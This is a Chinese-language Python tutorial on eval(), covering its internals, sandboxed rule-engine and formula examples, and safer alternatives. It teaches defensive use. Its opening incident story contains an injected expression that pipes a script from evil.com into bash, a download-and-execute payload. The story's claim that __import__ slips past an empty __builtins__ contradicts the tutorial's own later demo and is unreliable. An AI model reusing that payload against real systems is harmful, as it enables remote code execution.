29、Python 教程 - Python中的eval内置函数

前言
在 Python 的世界里,有一个函数既让人爱不释手,又让人闻之色变。它就是 eval()。爱它的人说它是"动态执行的瑞士军刀",一行代码就能把字符串变成可运行的表达式;怕它的人说它是"安全漏洞的代名词",稍有不慎就会让攻击者在你的服务器上为所欲为。
这篇文章,我们就来把 eval() 彻底讲透。从它是什么、为什么存在、内部怎么运行,到企业项目里怎么安全地用、和竞品怎么选、面试怎么答,一文打尽。不管你是刚入门的小白,还是已经写了几年 Python 的老鸟,相信都能从中有所收获。
文章目录
- [29、Python 教程 - Python中的eval内置函数](#29、Python 教程 - Python中的eval内置函数)
-
- 前言
- [痛点场景:一行 eval 引发的线上事故](#痛点场景:一行 eval 引发的线上事故)
- [一、eval 是什么](#一、eval 是什么)
-
- [1.1 专业解释](#1.1 专业解释)
- [1.2 大白话解释](#1.2 大白话解释)
- [1.3 生活案例](#1.3 生活案例)
- [1.4 最基础的用法示例](#1.4 最基础的用法示例)
- [二、为什么要用 eval](#二、为什么要用 eval)
-
- [2.1 动态性是核心价值](#2.1 动态性是核心价值)
- [2.2 具体的使用价值](#2.2 具体的使用价值)
- [2.3 不用 eval 行不行](#2.3 不用 eval 行不行)
- [三、eval 是怎么演进过来的](#三、eval 是怎么演进过来的)
-
- [3.1 从 Lisp 到 Python:动态执行的历史](#3.1 从 Lisp 到 Python:动态执行的历史)
- [3.2 CPython 内部:eval 的执行流水线](#3.2 CPython 内部:eval 的执行流水线)
- [3.3 globals 和 locals 的作用机制](#3.3 globals 和 locals 的作用机制)
- [四、eval 怎么用](#四、eval 怎么用)
-
- [4.1 完整语法和参数说明](#4.1 完整语法和参数说明)
- [4.2 常见用法大全](#4.2 常见用法大全)
- [4.3 使用注意事项](#4.3 使用注意事项)
- [五、企业项目中如何使用 eval](#五、企业项目中如何使用 eval)
-
- [5.1 场景一:风控规则引擎](#5.1 场景一:风控规则引擎)
- [5.2 场景二:动态配置解析器](#5.2 场景二:动态配置解析器)
- [5.3 场景三:动态公式计算器(财务/报表场景)](#5.3 场景三:动态公式计算器(财务/报表场景))
- 六、竞品对比:eval、exec、ast.literal_eval、simpleeval
-
- [6.1 对比总表](#6.1 对比总表)
- [6.2 逐个详解](#6.2 逐个详解)
- [6.3 选型决策树](#6.3 选型决策树)
- 七、安全风险与最佳实践
-
- [7.1 常见攻击手段](#7.1 常见攻击手段)
- [7.2 防御方案:五层安全模型](#7.2 防御方案:五层安全模型)
- [7.3 终极建议](#7.3 终极建议)
- 八、面试官高频面试题
-
- [面试题 1:eval 和 exec 的区别是什么?](#面试题 1:eval 和 exec 的区别是什么?)
- [面试题 2:eval 有什么安全风险?如何防范?](#面试题 2:eval 有什么安全风险?如何防范?)
- [面试题 3:eval 的 globals 和 locals 参数有什么作用?](#面试题 3:eval 的 globals 和 locals 参数有什么作用?)
- [面试题 4:ast.literal_eval 和 eval 有什么区别?什么时候用 literal_eval?](#面试题 4:ast.literal_eval 和 eval 有什么区别?什么时候用 literal_eval?)
- [面试题 5:eval 内部是怎么执行的?简述 CPython 的执行流程。](#面试题 5:eval 内部是怎么执行的?简述 CPython 的执行流程。)
- [面试题 6:如何安全地让用户输入数学表达式并计算?](#面试题 6:如何安全地让用户输入数学表达式并计算?)
- [面试题 7:eval 能执行赋值语句吗?为什么?](#面试题 7:eval 能执行赋值语句吗?为什么?)
- [面试题 8:eval 的性能如何?如何优化?](#面试题 8:eval 的性能如何?如何优化?)
- [面试题 9:传了 {"builtins": {}} 就安全了吗?为什么?](#面试题 9:传了 {"builtins": {}} 就安全了吗?为什么?)
- [面试题 10:在什么场景下你会选择使用 eval?什么场景下绝对不用?](#面试题 10:在什么场景下你会选择使用 eval?什么场景下绝对不用?)
- 九、总结
- 转载声明
痛点场景:一行 eval 引发的线上事故
先讲一个真实感很强的故事。
某电商平台的后端工程师小李,接到一个需求:运营同学希望能在后台配置"满减规则",比如 订单金额 > 100 and 会员等级 == 'gold' 这样的条件,满足就给优惠。小李觉得这太简单了,把运营配置的规则字符串存到数据库,用的时候拿出来 eval() 一下不就行了?
代码大概长这样:
python
# 危险写法,切勿模仿
def check_discount(order, rule_str):
# rule_str 来自数据库,由运营在后台配置
return eval(rule_str, {"__builtins__": {}}, order.__dict__)
上线初期一切正常,运营同学夸小李做得好。直到有一天,一位"安全研究员"在后台配置了这样一条规则:
python
__import__('os').system('curl http://evil.com/shell.sh | bash')
是的,即使你传了 {"__builtins__": {}},攻击者依然可以通过 __import__ 等手段绕过限制。结果就是服务器被植入了挖矿脚本,CPU 跑满,订单系统大面积超时,故障持续了两个多小时,损失六位数。
小李后来复盘时说了一句话:"我以为加了空的 builtins 就安全了,没想到 eval 的水比我想象的深得多。"
这个故事的痛点非常清晰:
- 痛点一:动态表达式需求真实存在,硬编码规则根本无法满足灵活的业务变化。
- 痛点二 :
eval()用起来太方便了,方便到让人忽略它背后的安全深渊。 - 痛点三:网上很多教程只教"怎么用",不教"怎么安全地用",开发者踩坑后才知道代价。
那么,解决方案是什么?难道因为有风险就彻底不用 eval() 了吗?当然不是。菜刀能切菜也能伤人,关键看你怎么握。这篇文章会给你一套完整的方案:理解原理、掌握安全用法、知道什么时候该用替代品。
一、eval 是什么

1.1 专业解释
根据 Python 官方文档的定义,eval() 函数的签名如下:
python
eval(expression, globals=None, locals=None, /)
它接受一个字符串(或 code object)作为 Python 表达式,解析并执行它,然后返回表达式的值。三个参数的含义是:
expression:一个 Python 表达式字符串,或者编译后的 code object。globals:全局命名空间,必须是字典对象。如果提供且不含__builtins__键,Python 会自动插入对内置命名空间的引用。locals:局部命名空间,可以是任何映射对象。
关键点在于:eval() 只能执行单个表达式 (expression),不能执行语句(statement)。比如 if、for、def、import 这些语句是不能直接放在 eval() 里的。
1.2 大白话解释
说人话,eval() 就像一个"翻译官"。你给它一句写在字符串里的 Python 代码,它把这句话翻译成真的能跑的代码,执行完把结果还给你。
比如你写 eval("1 + 2"),它不是把 "1 + 2" 当成普通文本,而是真的去算 1 加 2 等于几,然后返回 3。
再打个比方:普通的 Python 代码是你亲自下厨炒菜,而 eval() 是你把菜谱写在纸上交给厨师,厨师照着菜谱做出来端给你。菜谱(字符串)本身不能吃,但厨师(eval)能把它变成菜(执行结果)。
1.3 生活案例
想象你在一家餐厅,菜单上写着"今日特供:厨师自由发挥"。你跟服务员说:"让厨师做个番茄炒蛋。"服务员把你的话传给厨师,厨师真的做了一盘番茄炒蛋端上来。
在这里:
- 你的话"让厨师做个番茄炒蛋"就是
expression字符串。 - 服务员传话的过程就是
eval()的解析执行过程。 - 端上来的番茄炒蛋就是返回值。
但如果有个坏人跟服务员说:"让厨师把厨房烧了。"服务员也照做了------这就是 eval() 的安全风险。它不判断你说的话是好是坏,只负责执行。
1.4 最基础的用法示例
python
# 基础算术
result = eval("3 * 7 + 1")
print(result) # 22
# 使用当前作用域的变量
x = 10
y = 20
print(eval("x + y")) # 30
# 调用函数
print(eval("pow(2, 10)")) # 1024
# 字符串转列表
str_list = "[1, 2, 3, [4, 5]]"
real_list = eval(str_list)
print(type(real_list)) # <class 'list'>
print(real_list) # [1, 2, 3, [4, 5]]
# 字符串转字典
str_dict = "{'name': '羽师', 'age': 27}"
real_dict = eval(str_dict)
print(type(real_dict)) # <class 'dict'>
print(real_dict) # {'name': '羽师', 'age': 27}
二、为什么要用 eval
2.1 动态性是核心价值
编程语言里,"动态执行"是一个非常强大的能力。它让程序不再是写死的固定逻辑,而是可以在运行时根据数据、配置、用户输入来决定执行什么。
eval() 的存在,本质上是 Python 作为动态语言的一种体现。它让你可以:
- 把逻辑以字符串的形式存储在数据库、配置文件、网络传输中。
- 在不修改代码、不重新部署的情况下,改变程序的行为。
- 实现规则引擎、表达式计算器、配置驱动的业务逻辑等高级功能。
2.2 具体的使用价值
价值一:字符串到数据结构的快速转换
在处理接口返回数据、读取配置文件时,经常会遇到"看起来像列表/字典的字符串"。eval() 可以一行代码完成转换:
python
# 从某个接口拿到的字符串数据
raw_data = "{'status': 'ok', 'data': [1, 2, 3], 'count': 3}"
parsed = eval(raw_data)
print(parsed['status']) # ok
当然,生产环境更推荐用 json.loads() 或 ast.literal_eval(),但 eval() 的便捷性是毋庸置疑的。
价值二:动态公式计算
在财务、报表、科学计算等场景,公式经常需要动态配置。比如薪资系统里,绩效奖金的计算公式可能每个季度都变:
python
# 公式存储在配置中,可随时修改
bonus_formula = "base_salary * 0.1 + performance_score * 500"
context = {
"base_salary": 15000,
"performance_score": 4.5
}
bonus = eval(bonus_formula, {"__builtins__": {}}, context)
print(f"绩效奖金: {bonus} 元") # 绩效奖金: 3750.0 元
价值三:规则引擎的底层支撑
很多企业级系统(风控、营销、权限)都需要"规则可配置"。运营人员在后台配置条件表达式,系统动态判断是否命中规则。eval() 是实现这类功能最直接的方式(当然生产环境需要加安全沙箱)。
2.3 不用 eval 行不行
当然可以,但代价是你要自己写一个表达式解析器。这涉及词法分析、语法分析、AST 构建、解释执行------等于自己实现一个小型 Python 解释器。对于大多数业务场景来说,这个成本太高了。
所以 eval() 的价值在于:用极低的成本获得强大的动态执行能力。问题只在于,你能不能驾驭它的风险。
三、eval 是怎么演进过来的
3.1 从 Lisp 到 Python:动态执行的历史
"把字符串当代码执行"这个想法,不是 Python 发明的。它最早可以追溯到 Lisp 语言。Lisp 有一个核心哲学:"代码即数据,数据即代码"(Code is Data)。Lisp 的 eval 函数可以追溯到 1958 年,是计算机科学史上最古老的函数之一。
后来,各种动态语言纷纷继承了这个能力:
- JavaScript 有
eval() - Ruby 有
eval() - PHP 有
eval() - Perl 有
eval() - Python 也有
eval()
Python 从 1991 年的 0.9.0 版本开始就有了 eval(),它是 Python 作为动态语言的标志性功能之一。三十多年来,eval() 的核心设计几乎没有变过,但社区对它的安全认知在不断加深。
3.2 CPython 内部:eval 的执行流水线
要真正理解 eval(),得知道它在 CPython 内部到底经历了什么。当你调用 eval("1 + 2") 时,内部的执行流程是这样的:
字符串表达式
↓
词法分析(Tokenizer):把字符串切成一个个 token
↓
语法分析(Parser):把 token 流构建成抽象语法树(AST)
↓
编译(Compiler):把 AST 编译成字节码(Bytecode)
↓
符号表(Symbol Table):解析变量作用域
↓
虚拟机执行(PVM):逐条执行字节码指令
↓
返回结果
我们可以用代码来验证这个过程:
python
import ast
import dis
expr = "x + y * 2"
# 第一步:解析为 AST
tree = ast.parse(expr, mode='eval')
print("AST 结构:")
print(ast.dump(tree, indent=2))
# 第二步:编译为字节码
code = compile(tree, "<string>", "eval")
# 第三步:查看字节码指令
print("\n字节码指令:")
dis.dis(code)
# 第四步:执行
x, y = 10, 3
result = eval(code)
print(f"\n执行结果: {result}") # 16
运行输出(部分):
AST 结构:
Expression(
body=BinOp(
left=Name(id='x', ctx=Load()),
op=Add(),
right=BinOp(
left=Name(id='y', ctx=Load()),
op=Mult(),
right=Constant(value=2))))
字节码指令:
0 0 LOAD_NAME 0 (x)
2 LOAD_NAME 1 (y)
4 LOAD_CONST 0 (2)
6 BINARY_OP 5 (*)
10 BINARY_OP 0 (+)
14 RETURN_VALUE
执行结果: 16
可以看到,eval() 内部走的是和正常 Python 代码完全一样的编译执行流水线。这也是为什么它功能如此强大------因为它就是一个完整的 Python 解释器入口。
3.3 globals 和 locals 的作用机制
eval() 的第二个和第三个参数控制着表达式执行时能看到哪些变量。理解这个机制,是安全使用 eval() 的关键。
python
# 不指定 globals 和 locals:使用当前作用域
a = 100
print(eval("a + 1")) # 101
# 指定 globals:表达式只能看到 globals 里的变量
global_ns = {"x": 10, "y": 20}
print(eval("x + y", global_ns)) # 30
# print(eval("a + 1", global_ns)) # NameError: name 'a' is not defined
# 同时指定 globals 和 locals:locals 优先级更高
global_ns = {"x": 10}
local_ns = {"x": 999, "y": 1}
print(eval("x + y", global_ns, local_ns)) # 1000,x 取的是 locals 里的 999
这里有一个极其重要的安全细节:如果你传了 globals 字典但里面没有 __builtins__,Python 会自动把当前的内置命名空间加进去。 这意味着即使你以为限制了全局变量,eval() 里依然能访问 __import__、open、exec 等危险内置函数。
python
# 看似安全,实则危险
malicious = "__import__('os').system('echo hacked')"
try:
eval(malicious, {"x": 1}) # 没有 __builtins__,Python 会自动添加
except Exception as e:
print(e)
# 输出: hacked(命令被执行了!)
要真正禁用内置函数,必须显式传入空的 __builtins__:
python
# 正确禁用内置函数的方式
safe_globals = {"__builtins__": {}}
try:
eval("__import__('os').system('echo hacked')", safe_globals)
except Exception as e:
print(f"已拦截: {e}") # 已拦截: __import__ not defined
但即便如此,也不能说绝对安全------后面安全章节会详细讲沙箱逃逸的手段。
四、eval 怎么用
4.1 完整语法和参数说明
python
eval(expression, globals=None, locals=None, /)
| 参数 | 类型 | 是否必填 | 说明 |
|---|---|---|---|
expression |
str 或 code object |
是 | 要执行的 Python 表达式 |
globals |
dict 或 None |
否 | 全局命名空间,默认使用当前全局作用域 |
locals |
mapping 或 None |
否 | 局部命名空间,默认使用当前局部作用域 |
返回值:表达式执行的结果。
4.2 常见用法大全
用法一:基础表达式计算
python
print(eval("2 + 3 * 4")) # 14
print(eval("max(1, 5, 3)")) # 5
print(eval("'hello' + ' world'")) # hello world
print(eval("[1, 2, 3][::-1]")) # [3, 2, 1]
用法二:字符串转列表
python
str_list = "[[1, 2], [3, 4], [5, 6]]"
result = eval(str_list)
print(type(result)) # <class 'list'>
print(result) # [[1, 2], [3, 4], [5, 6]]
print(result[0][1]) # 2
注意和 list() 的区别:list() 是把字符串的每个字符拆成列表元素,而 eval() 是把字符串当 Python 代码解析。
python
s = "[1, 2]"
print(eval(s)) # [1, 2] ------ 解析为列表
print(list(s)) # ['[', '1', ',', ' ', '2', ']'] ------ 逐字符拆分
用法三:字符串转字典
python
str_dict = "{'name': '羽师', 'skills': ['Python', 'AI', 'DevOps'], 'age': 27}"
result = eval(str_dict)
print(type(result)) # <class 'dict'>
print(result['name']) # 羽师
print(result['skills']) # ['Python', 'AI', 'DevOps']
用法四:字符串转元组
python
str_tuple = "([1, 2], [3, 4], 'hello')"
result = eval(str_tuple)
print(type(result)) # <class 'tuple'>
print(result) # ([1, 2], [3, 4], 'hello')
用法五:动态变量访问
python
class User:
def __init__(self, name, age):
self.name = name
self.age = age
user = User("羽师", 27)
# 动态获取属性
attr_name = "name"
print(eval(f"user.{attr_name}")) # 羽师
# 更推荐的方式是 getattr,但 eval 也能做到
print(getattr(user, attr_name)) # 羽师
用法六:配合 globals 和 locals 控制作用域
python
# 构建一个安全的计算环境
import math
safe_globals = {
"__builtins__": {}, # 禁用所有内置函数
"math": math, # 只允许 math 模块
"pi": math.pi, # 只允许特定常量
}
safe_locals = {
"x": 10,
"y": 20,
}
# 安全计算
result = eval("math.sqrt(x**2 + y**2)", safe_globals, safe_locals)
print(result) # 22.3606797749979
# 尝试访问被禁用的函数会报错
try:
eval("open('/etc/passwd')", safe_globals, safe_locals)
except NameError as e:
print(f"安全拦截: {e}") # 安全拦截: name 'open' is not defined
4.3 使用注意事项
- eval 只能执行表达式,不能执行语句
python
# 这些会报错
# eval("x = 10") # SyntaxError: invalid syntax
# eval("if x > 0: pass") # SyntaxError
# eval("import os") # SyntaxError
# 表达式可以
eval("x := 10") # Python 3.8+ 海象运算符是表达式,可以用
print(x) # 10
- eval 的返回值是表达式的值
python
result = eval("1 + 1")
print(result) # 2
# 而 exec 永远返回 None
result_exec = exec("1 + 1")
print(result_exec) # None
- 性能考量:重复执行时先 compile
如果同一个表达式要执行很多次,先编译成 code object 可以显著提升性能:
python
import time
expr = "sum(i**2 for i in range(1000))"
# 每次都重新解析编译
start = time.time()
for _ in range(1000):
eval(expr)
print(f"每次重新解析: {time.time() - start:.3f}s")
# 先编译,再重复执行
code = compile(expr, "<string>", "eval")
start = time.time()
for _ in range(1000):
eval(code)
print(f"预编译后执行: {time.time() - start:.3f}s")
五、企业项目中如何使用 eval

理论讲完了,来点硬货。在真实的企业项目中,eval() 到底怎么用?下面给出三个典型场景的完整可运行代码。
5.1 场景一:风控规则引擎
这是电商、金融领域最常见的需求。风控策略需要频繁调整,如果每次都改代码、发版,效率太低。用规则引擎把条件表达式配置化,运营在后台就能调整策略。
python
# rule_engine.py
import ast
import re
import time
import logging
from typing import Any, Callable, Dict, List, Optional
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
class RuleEngine:
"""
企业级风控规则引擎
- 支持动态加载规则
- 沙箱隔离执行
- 超时控制
- 审计日志
"""
# 允许在表达式中使用的安全函数白名单
SAFE_BUILTINS = {
"len": len,
"abs": abs,
"min": min,
"max": max,
"sum": sum,
"round": round,
"int": int,
"float": float,
"str": str,
"bool": bool,
"any": any,
"all": all,
}
def __init__(self, timeout: float = 1.0):
self.rules: Dict[str, Dict[str, Any]] = {}
self._compiled_cache: Dict[str, Any] = {}
self.timeout = timeout
def register_rule(self, rule_id: str, expression: str,
description: str = "", enabled: bool = True):
"""注册一条规则"""
# 安全检查:AST 层面过滤危险节点
self._validate_expression(expression)
# 预编译
code = compile(expression, f"rule_{rule_id}", "eval")
self.rules[rule_id] = {
"expression": expression,
"code": code,
"description": description,
"enabled": enabled,
"created_at": time.time(),
}
logger.info(f"规则已注册: {rule_id} - {description}")
def _validate_expression(self, expression: str):
"""
AST 层面的安全校验
禁止出现属性访问(防止 __class__ 等逃逸手段)
禁止出现调用非白名单函数
"""
tree = ast.parse(expression, mode="eval")
for node in ast.walk(tree):
# 禁止属性访问,如 obj.__class__
if isinstance(node, ast.Attribute):
raise ValueError(
f"表达式中禁止属性访问: {ast.dump(node)}"
)
# 禁止 lambda(可能被用于逃逸)
if isinstance(node, ast.Lambda):
raise ValueError("表达式中禁止使用 lambda")
# 校验函数调用是否在白名单中
if isinstance(node, ast.Call):
if isinstance(node.func, ast.Name):
func_name = node.func.id
if func_name not in self.SAFE_BUILTINS:
raise ValueError(
f"不允许调用函数: {func_name}"
)
def evaluate(self, rule_id: str, context: Dict[str, Any]) -> bool:
"""执行单条规则,返回布尔结果"""
if rule_id not in self.rules:
raise KeyError(f"规则不存在: {rule_id}")
rule = self.rules[rule_id]
if not rule["enabled"]:
return False
# 构建沙箱环境
sandbox_globals = {
"__builtins__": self.SAFE_BUILTINS,
}
# context 作为局部变量传入
sandbox_locals = dict(context)
try:
result = eval(rule["code"], sandbox_globals, sandbox_locals)
logger.info(
f"规则执行: {rule_id} = {result} "
f"(context keys: {list(context.keys())})"
)
return bool(result)
except Exception as e:
logger.error(f"规则执行异常 {rule_id}: {e}")
return False
def evaluate_all(self, context: Dict[str, Any]) -> Dict[str, bool]:
"""执行所有启用的规则"""
results = {}
for rule_id in self.rules:
if self.rules[rule_id]["enabled"]:
results[rule_id] = self.evaluate(rule_id, context)
return results
# ============ 使用示例 ============
if __name__ == "__main__":
engine = RuleEngine()
# 注册风控规则(这些表达式通常存储在数据库,由运营后台配置)
engine.register_rule(
rule_id="high_amount_risk",
expression="amount > 10000 and user_level != 'vip'",
description="大额订单且非VIP用户,触发人工审核",
)
engine.register_rule(
rule_id="new_user_risk",
expression="register_days < 7 and amount > 5000",
description="新注册7天内大额消费,触发风控",
)
engine.register_rule(
rule_id="frequency_risk",
expression="order_count_1h > 10",
description="1小时内下单超过10次,疑似刷单",
)
# 模拟订单数据
order_context = {
"amount": 15000,
"user_level": "normal",
"register_days": 3,
"order_count_1h": 12,
"user_id": "U10086",
}
# 执行所有规则
results = engine.evaluate_all(order_context)
print("风控规则执行结果:")
for rule_id, hit in results.items():
status = "命中" if hit else "未命中"
print(f" {rule_id}: {status}")
# 输出:
# 风控规则执行结果:
# high_amount_risk: 命中
# new_user_risk: 命中
# frequency_risk: 命中
这个规则引擎做了几层安全防护:
- AST 校验:注册规则时就解析 AST,禁止属性访问、lambda、非白名单函数调用。
- 沙箱隔离 :执行时只传入白名单内置函数,不暴露
__import__、open等危险函数。 - 预编译缓存:规则只编译一次,重复执行用 code object,性能更好。
- 审计日志:每次执行都记录日志,方便追溯。
5.2 场景二:动态配置解析器
很多系统的配置文件里需要支持"变量引用"和"简单计算"。比如配置里写 max_connections = ${cpu_count * 2 + 10},程序启动时动态计算。
python
# config_resolver.py
import os
import re
from typing import Any, Dict
class ConfigResolver:
"""
支持动态表达式的配置解析器
语法: ${expression}
表达式中可以引用环境变量、其他配置项、数学函数
"""
# 匹配 ${...} 模式
PATTERN = re.compile(r"\$\{([^}]+)\}")
# 安全的全局环境
SAFE_GLOBALS = {
"__builtins__": {
"abs": abs, "min": min, "max": max,
"round": round, "len": len, "sum": sum,
"int": int, "float": float, "str": str,
},
"env": dict(os.environ), # 环境变量只读引用
}
def __init__(self, config: Dict[str, Any]):
self.config = config
self._resolved: Dict[str, Any] = {}
def resolve(self, key: str) -> Any:
"""解析单个配置项,支持递归引用"""
if key in self._resolved:
return self._resolved[key]
value = self.config.get(key)
if value is None:
return None
resolved = self._resolve_value(value)
self._resolved[key] = resolved
return resolved
def _resolve_value(self, value: Any) -> Any:
"""递归解析值中的表达式"""
if isinstance(value, str):
return self._resolve_expression(value)
elif isinstance(value, dict):
return {k: self._resolve_value(v) for k, v in value.items()}
elif isinstance(value, list):
return [self._resolve_value(v) for v in value]
return value
def _resolve_expression(self, text: str) -> Any:
"""解析字符串中的 ${...} 表达式"""
def replacer(match):
expr = match.group(1).strip()
# 把已解析的配置项作为局部变量
locals_ctx = dict(self._resolved)
try:
result = eval(expr, self.SAFE_GLOBALS, locals_ctx)
return str(result)
except Exception as e:
raise ValueError(f"配置表达式解析失败 '{expr}': {e}")
# 如果整个字符串就是一个表达式,直接返回原始类型
full_match = self.PATTERN.fullmatch(text)
if full_match:
expr = full_match.group(1).strip()
locals_ctx = dict(self._resolved)
return eval(expr, self.SAFE_GLOBALS, locals_ctx)
# 否则做字符串替换
return self.PATTERN.sub(replacer, text)
def resolve_all(self) -> Dict[str, Any]:
"""解析所有配置项"""
for key in self.config:
self.resolve(key)
return dict(self._resolved)
# ============ 使用示例 ============
if __name__ == "__main__":
# 模拟从 YAML/JSON 读取的配置
raw_config = {
"app_name": "我的AI服务",
"cpu_count": 4,
"max_connections": "${cpu_count * 2 + 10}",
"worker_threads": "${cpu_count * 4}",
"timeout_seconds": 30,
"database": {
"host": "localhost",
"port": 5432,
"pool_size": "${cpu_count * 2 + 5}",
},
"greeting": "欢迎使用 ${app_name},当前连接数上限 ${max_connections}",
}
resolver = ConfigResolver(raw_config)
resolved = resolver.resolve_all()
import json
print(json.dumps(resolved, indent=2, ensure_ascii=False))
# 输出:
# {
# "app_name": "我的AI服务",
# "cpu_count": 4,
# "max_connections": 18,
# "worker_threads": 16,
# "timeout_seconds": 30,
# "database": {
# "host": "localhost",
# "port": 5432,
# "pool_size": 13
# },
# "greeting": "欢迎使用 我的AI服务,当前连接数上限 18"
# }
5.3 场景三:动态公式计算器(财务/报表场景)
在财务系统、报表系统中,用户经常需要自定义计算公式。比如"毛利率 = (收入 - 成本) / 收入 * 100"这样的公式,需要动态计算。
python
# formula_calculator.py
import ast
import math
from typing import Any, Dict, List, Optional
class FormulaCalculator:
"""
安全的动态公式计算器
- 支持变量引用
- 支持常用数学函数
- AST 层面安全校验
- 公式依赖分析
"""
ALLOWED_FUNCTIONS = {
# 数学函数
"abs": abs, "round": round, "min": min, "max": max,
"sum": sum, "pow": pow,
# math 模块函数
"sqrt": math.sqrt, "log": math.log, "log10": math.log10,
"sin": math.sin, "cos": math.cos, "tan": math.tan,
"pi": math.pi, "e": math.e,
# 类型转换
"int": int, "float": float,
}
def __init__(self):
self._formulas: Dict[str, str] = {}
self._compiled: Dict[str, Any] = {}
def add_formula(self, name: str, expression: str):
"""添加公式"""
self._validate(expression)
self._formulas[name] = expression
self._compiled[name] = compile(expression, f"formula_{name}", "eval")
def _validate(self, expression: str):
"""AST 安全校验"""
tree = ast.parse(expression, mode="eval")
for node in ast.walk(tree):
if isinstance(node, ast.Attribute):
raise ValueError(f"禁止属性访问: {ast.dump(node)}")
if isinstance(node, ast.Call):
if isinstance(node.func, ast.Name):
if node.func.id not in self.ALLOWED_FUNCTIONS:
raise ValueError(f"不允许的函数: {node.func.id}")
else:
raise ValueError("只允许调用白名单函数")
def get_dependencies(self, name: str) -> List[str]:
"""分析公式依赖的变量"""
if name not in self._formulas:
return []
tree = ast.parse(self._formulas[name], mode="eval")
deps = set()
for node in ast.walk(tree):
if isinstance(node, ast.Name) and node.id not in self.ALLOWED_FUNCTIONS:
deps.add(node.id)
return sorted(deps)
def calculate(self, name: str, variables: Dict[str, float]) -> float:
"""计算公式"""
if name not in self._compiled:
raise KeyError(f"公式不存在: {name}")
# 检查变量是否齐全
deps = self.get_dependencies(name)
missing = [d for d in deps if d not in variables]
if missing:
raise ValueError(f"公式 {name} 缺少变量: {missing}")
sandbox = {
"__builtins__": {},
**self.ALLOWED_FUNCTIONS,
}
result = eval(self._compiled[name], sandbox, variables)
return float(result)
def calculate_all(self, variables: Dict[str, float]) -> Dict[str, float]:
"""计算所有公式"""
results = {}
for name in self._formulas:
try:
results[name] = self.calculate(name, variables)
except Exception as e:
results[name] = None
print(f"公式 {name} 计算失败: {e}")
return results
# ============ 使用示例 ============
if __name__ == "__main__":
calc = FormulaCalculator()
# 添加财务公式
calc.add_formula("gross_profit", "revenue - cost")
calc.add_formula("gross_margin", "(revenue - cost) / revenue * 100")
calc.add_formula("net_profit", "revenue - cost - tax - operating_expense")
calc.add_formula("net_margin", "net_profit / revenue * 100")
calc.add_formula("roi", "(net_profit / investment) * 100")
# 查看公式依赖
print("毛利率公式依赖:", calc.get_dependencies("gross_margin"))
# 输出: 毛利率公式依赖: ['cost', 'revenue']
# 代入实际数据计算
financial_data = {
"revenue": 500000, # 营业收入
"cost": 300000, # 营业成本
"tax": 25000, # 税费
"operating_expense": 50000, # 运营费用
"investment": 200000, # 投资额
}
results = calc.calculate_all(financial_data)
print("\n财务指标计算结果:")
for name, value in results.items():
if value is not None:
print(f" {name}: {value:.2f}")
# 输出:
# 财务指标计算结果:
# gross_profit: 200000.00
# gross_margin: 40.00
# net_profit: 125000.00
# net_margin: 25.00
# roi: 62.50
这三个场景覆盖了企业项目中 eval() 最常见的用法。核心原则只有一条:永远不要把不可信的输入直接传给 eval,必须在 AST 层面和沙箱层面做双重防护。
六、竞品对比:eval、exec、ast.literal_eval、simpleeval

在 Python 生态里,和 eval() 功能相近的工具不止一个。选对工具,能让你少踩很多坑。下面是四个最常用方案的全面对比。
6.1 对比总表
| 对比维度 | eval() |
exec() |
ast.literal_eval() |
simpleeval(第三方库) |
|---|---|---|---|---|
| 执行类型 | 单个表达式 | 任意语句/代码块 | 仅字面量表达式 | 受限表达式 |
| 返回值 | 有,返回表达式结果 | 无,永远返回 None | 有,返回解析后的数据 | 有,返回表达式结果 |
| 安全性 | 低,需自行防护 | 极低,几乎无法安全使用 | 高,官方推荐 | 高,专为安全设计 |
| 支持变量 | 支持,通过 globals/locals | 支持 | 不支持 | 支持,通过 names 传入 |
| 支持函数调用 | 支持任意函数 | 支持任意函数 | 不支持 | 仅支持白名单函数 |
| 性能 | 高(原生编译执行) | 高 | 中(仅解析字面量) | 中(自定义解释器) |
| 适用场景 | 可信环境下的动态表达式 | 动态执行代码块(极少用) | 字符串转列表/字典/元组 | 不可信输入的表达式计算 |
| 生产推荐度 | 谨慎使用,必须加防护 | 不推荐处理外部输入 | 强烈推荐 | 推荐 |
6.2 逐个详解
eval():表达式计算器
eval() 只接受单个表达式,有返回值。适合做"计算"类的动态执行。
python
# eval 可以
result = eval("1 + 2 * 3")
print(result) # 7
# eval 不能执行语句
try:
eval("x = 10")
except SyntaxError:
print("eval 不支持赋值语句")
exec():代码执行器
exec() 可以执行任意 Python 代码,包括多行语句、函数定义、类定义,但没有返回值。它更像是一个"迷你 Python 解释器"。
python
# exec 可以执行多行代码
code = """
def greet(name):
return f"Hello, {name}!"
result = greet("羽师")
"""
namespace = {}
exec(code, namespace)
print(namespace["result"]) # Hello, 羽师!
# exec 永远返回 None
print(exec("1 + 1")) # None
exec() 的安全风险比 eval() 更高,因为它能执行完整的代码逻辑。在生产环境中,除非你完全清楚自己在做什么,否则不要用 exec() 处理任何外部输入。
ast.literal_eval():安全的字面量解析器
这是 Python 官方提供的安全替代方案。它只能解析 Python 字面量(字符串、数字、元组、列表、字典、集合、布尔值、None),不能执行任何代码、函数调用或变量引用。
python
import ast
# 安全解析字面量
print(ast.literal_eval("[1, 2, 3]")) # [1, 2, 3]
print(ast.literal_eval("{'a': 1, 'b': 2}")) # {'a': 1, 'b': 2}
print(ast.literal_eval("(1, 2, 3)")) # (1, 2, 3)
# 不能执行表达式
try:
ast.literal_eval("1 + 2")
except (ValueError, SyntaxError) as e:
print(f"已拦截: {e}") # 已拦截: malformed node or string
# 不能调用函数
try:
ast.literal_eval("__import__('os').system('ls')")
except (ValueError, SyntaxError) as e:
print(f"已拦截: {e}")
最佳实践:如果只是想把字符串转成列表/字典/元组,永远用 ast.literal_eval(),不要用 eval()。
simpleeval:第三方安全表达式库
simpleeval 是一个专门为安全执行表达式设计的第三方库。它自己实现了一个表达式解释器,不走 Python 的编译执行流水线,因此从根本上避免了代码注入风险。
bash
# 安装
pip install simpleeval
python
from simpleeval import simple_eval
# 基础计算
print(simple_eval("1 + 2 * 3")) # 7
# 传入变量
print(simple_eval("x + y", names={"x": 10, "y": 20})) # 30
# 传入函数
print(simple_eval("double(5)", functions={"double": lambda x: x * 2})) # 10
# 危险操作会被拦截
try:
simple_eval("__import__('os').system('ls')")
except Exception as e:
print(f"已拦截: {type(e).__name__}")
simpleeval 的缺点是性能不如原生 eval(),且不支持所有 Python 语法(比如列表推导式、lambda 等)。但对于处理不可信输入的场景,它是最佳选择。
6.3 选型决策树
需要动态执行字符串?
├── 只是把字符串转成列表/字典/元组?
